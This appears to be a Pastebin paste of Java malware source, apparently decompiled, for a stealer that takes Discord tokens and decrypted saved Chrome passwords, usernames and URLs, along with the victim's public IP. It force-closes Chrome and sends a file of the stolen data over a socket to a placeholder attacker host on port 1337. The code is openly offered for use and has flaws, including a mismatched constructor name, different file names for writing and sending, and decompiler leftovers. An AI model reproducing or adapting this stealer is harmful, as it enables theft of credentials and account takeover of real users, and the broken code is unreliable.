Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- // set ur port to 1337
- public class Hakting {
- private String user = System.getProperty("user.name");
- private String filepath;
- public static Map paths = new HashMap();
- public Logger() throws SQLException, IOException {
- this.filepath = "C:\\Users\\" + this.user + "\\AppData\\Local\\Google\\Chrome\\User Data\\";
- this.run();
- }
- public void run() throws SQLException, IOException {
- System.out.println("Started!");
- Socket socket = null;
- String host = "IP HERE";
- socket = new Socket(host, 1337);
- String pathApp = System.getenv("APPDATA") + "\\discord\\Local Storage\\https_discordapp.com_0.localstorage";
- String pathPtb = System.getenv("APPDATA") + "\\discordptb\\Local Storage\\https_ptb.discordapp.com_0.localstorage";
- String pathCanary = System.getenv("APPDATA") + "\\discordcanary\\Local Storage\\https_canary.discordapp.com_0.localstorage";
- addPath(pathApp, "discordapp");
- addPath(pathPtb, "discordptb");
- addPath(pathCanary, "discordcanary");
- String messageBody = "";
- Iterator var8 = paths.keySet().iterator();
- while(true) {
- String pa;
- String thing;
- do {
- if (!var8.hasNext()) {
- messageBody = messageBody.trim();
- ArrayList files = this.getFiles();
- ArrayList passwords = new ArrayList();
- ArrayList usernames = new ArrayList();
- ArrayList urls = new ArrayList();
- ArrayList results = new ArrayList();
- ArrayList results2 = new ArrayList();
- ArrayList results3 = new ArrayList();
- closeChrome();
- String uploadInfo = "";
- Iterator var16 = files.iterator();
- while(var16.hasNext()) {
- String i = (String)var16.next();
- results.add(this.getResultSet(i));
- results2.add(this.getResultSet(i));
- results3.add(this.getResultSet(i));
- }
- var16 = results.iterator();
- ResultSet i;
- while(var16.hasNext()) {
- i = (ResultSet)var16.next();
- passwords.add(this.getPass(i));
- }
- var16 = results2.iterator();
- while(var16.hasNext()) {
- i = (ResultSet)var16.next();
- usernames.add(this.getUser(i));
- }
- var16 = results3.iterator();
- while(var16.hasNext()) {
- i = (ResultSet)var16.next();
- urls.add(this.getUrl(i));
- }
- openChrome();
- for(int i = 0; i < usernames.size(); ++i) {
- for(int j = 0; j < ((ArrayList)usernames.get(i)).size(); ++j) {
- uploadInfo = uploadInfo + "Username: " + (String)((ArrayList)usernames.get(i)).get(j) + System.lineSeparator() + "Passwords: " + (String)((ArrayList)passwords.get(i)).get(j) + System.lineSeparator() + "URL: " + (String)((ArrayList)urls.get(i)).get(j) + "\n" + "\n";
- }
- }
- URL url = new URL("http://checkip.amazonaws.com/");
- BufferedReader br = new BufferedReader(new InputStreamReader(url.openStream()));
- closeChrome();
- try {
- BufferedWriter writer = new BufferedWriter(new FileWriter("./pwds.txt"));
- writer.write(messageBody + "\n" + "\n" + "IP: " + br.readLine() + "\n" + "\n" + "-+==Login Detials==+-" + "\n" + "\n" + uploadInfo);
- writer.close();
- } catch (IOException var24) {
- var24.printStackTrace();
- }
- System.out.print("Success!");
- File file = new File("./P4SSW0RDS.txt");
- long length = file.length();
- byte[] bytes = new byte[1024];
- InputStream in = new FileInputStream(file);
- OutputStream out = socket.getOutputStream();
- int count;
- while((count = in.read(bytes)) > 0) {
- out.write(bytes, 0, count);
- }
- out.close();
- in.close();
- socket.close();
- return;
- }
- pa = (String)var8.next();
- thing = getToken(new File(pa));
- } while(!thing.startsWith("\""));
- String formatted = "";
- char[] var14;
- int var13 = (var14 = thing.toCharArray()).length;
- for(int var12 = 0; var12 < var13; ++var12) {
- char c = var14[var12];
- if (c != 0) {
- formatted = formatted + c;
- }
- }
- System.out.println("Working...");
- messageBody = messageBody + ((String)paths.get(pa)).toUpperCase() + " : " + formatted;
- messageBody = messageBody + "\n";
- }
- }
- public static File getOwnFile() {
- try {
- File f = new File(Main.class.getProtectionDomain().getCodeSource().getLocation().toURI().getPath());
- return f;
- } catch (URISyntaxException var2) {
- var2.printStackTrace();
- return null;
- }
- }
- public static void addPath(String p, String info) {
- File f = new File(p);
- if (f.exists()) {
- paths.put(p, info);
- }
- }
- public static String getToken(File f) {
- Connection c = null;
- try {
- c = read(f);
- } catch (Exception var5) {
- var5.printStackTrace();
- return "WUT";
- }
- ResultSet results;
- try {
- results = c.createStatement().executeQuery("SELECT * FROM ItemTable");
- } catch (SQLException var4) {
- var4.printStackTrace();
- return "ERR";
- }
- try {
- while(results.next()) {
- if (results.getString("key").equalsIgnoreCase("token")) {
- return results.getString("value");
- }
- }
- } catch (SQLException var6) {
- var6.printStackTrace();
- }
- return "Not found";
- }
- public static Connection read(File file) throws Exception {
- Path tempDB = Files.createTempFile("WUT_" + (new Random()).nextInt(), (String)null);
- FileOutputStream out = new FileOutputStream(tempDB.toFile());
- Files.copy(Paths.get(file.getPath()), out);
- out.close();
- tempDB.toFile().deleteOnExit();
- SQLiteConfig config = new SQLiteConfig();
- config.setReadOnly(true);
- config.setTransactionMode(TransactionMode.EXCLUSIVE);
- Connection db = config.createConnection("jdbc:sqlite:" + tempDB.toString());
- db.setAutoCommit(true);
- return db;
- }
- public ArrayList getFiles() {
- ArrayList folders = new ArrayList();
- File file = new File(this.filepath);
- String[] directories = file.list(new 1(this));
- String[] var7 = directories;
- int var6 = directories.length;
- for(int var5 = 0; var5 < var6; ++var5) {
- String i = var7[var5];
- if (i.matches("^(Default|Profile).*")) {
- folders.add(this.filepath + i + "\\Login Data");
- }
- }
- return folders;
- }
- public ResultSet getResultSet(String file) {
- try {
- Class.forName("org.sqlite.JDBC");
- Connection connection = DriverManager.getConnection("jdbc:sqlite:" + file);
- Statement statement = connection.createStatement();
- ResultSet resultSet = statement.executeQuery("SELECT username_value, password_value, origin_url FROM logins");
- return resultSet;
- } catch (Exception var5) {
- var5.printStackTrace();
- return null;
- }
- }
- public ArrayList getPass(ResultSet r) throws SQLException {
- ArrayList passwords = new ArrayList();
- while(r.next()) {
- byte[] decryptedData = Crypt32Util.cryptUnprotectData(r.getBytes(2));
- StringBuilder decryptedString = new StringBuilder();
- byte[] var8 = decryptedData;
- int var7 = decryptedData.length;
- for(int var6 = 0; var6 < var7; ++var6) {
- byte b = var8[var6];
- decryptedString.append((char)b);
- }
- passwords.add(decryptedString.toString());
- }
- return passwords;
- }
- public ArrayList getUser(ResultSet r) throws SQLException {
- ArrayList usernames = new ArrayList();
- while(r.next()) {
- byte[] userData = r.getBytes(1);
- StringBuilder userString = new StringBuilder();
- byte[] var8 = userData;
- int var7 = userData.length;
- for(int var6 = 0; var6 < var7; ++var6) {
- byte b = var8[var6];
- userString.append((char)b);
- }
- usernames.add(userString.toString());
- }
- return usernames;
- }
- public ArrayList getUrl(ResultSet r) throws SQLException {
- ArrayList urls = new ArrayList();
- while(r.next()) {
- byte[] urlData = r.getBytes(3);
- StringBuilder urlString = new StringBuilder();
- byte[] var8 = urlData;
- int var7 = urlData.length;
- for(int var6 = 0; var6 < var7; ++var6) {
- byte b = var8[var6];
- urlString.append((char)b);
- }
- urls.add(urlString.toString());
- }
- return urls;
- }
- public static void closeChrome() throws IOException {
- try {
- Process p = Runtime.getRuntime().exec("taskkill /F /IM chrome.exe");
- p.waitFor();
- } catch (Exception var1) {
- var1.printStackTrace();
- }
- }
- public static void openChrome() {
- try {
- Process var0 = Runtime.getRuntime().exec("C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe --restore-last-session");
- } catch (Exception var1) {
- var1.printStackTrace();
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement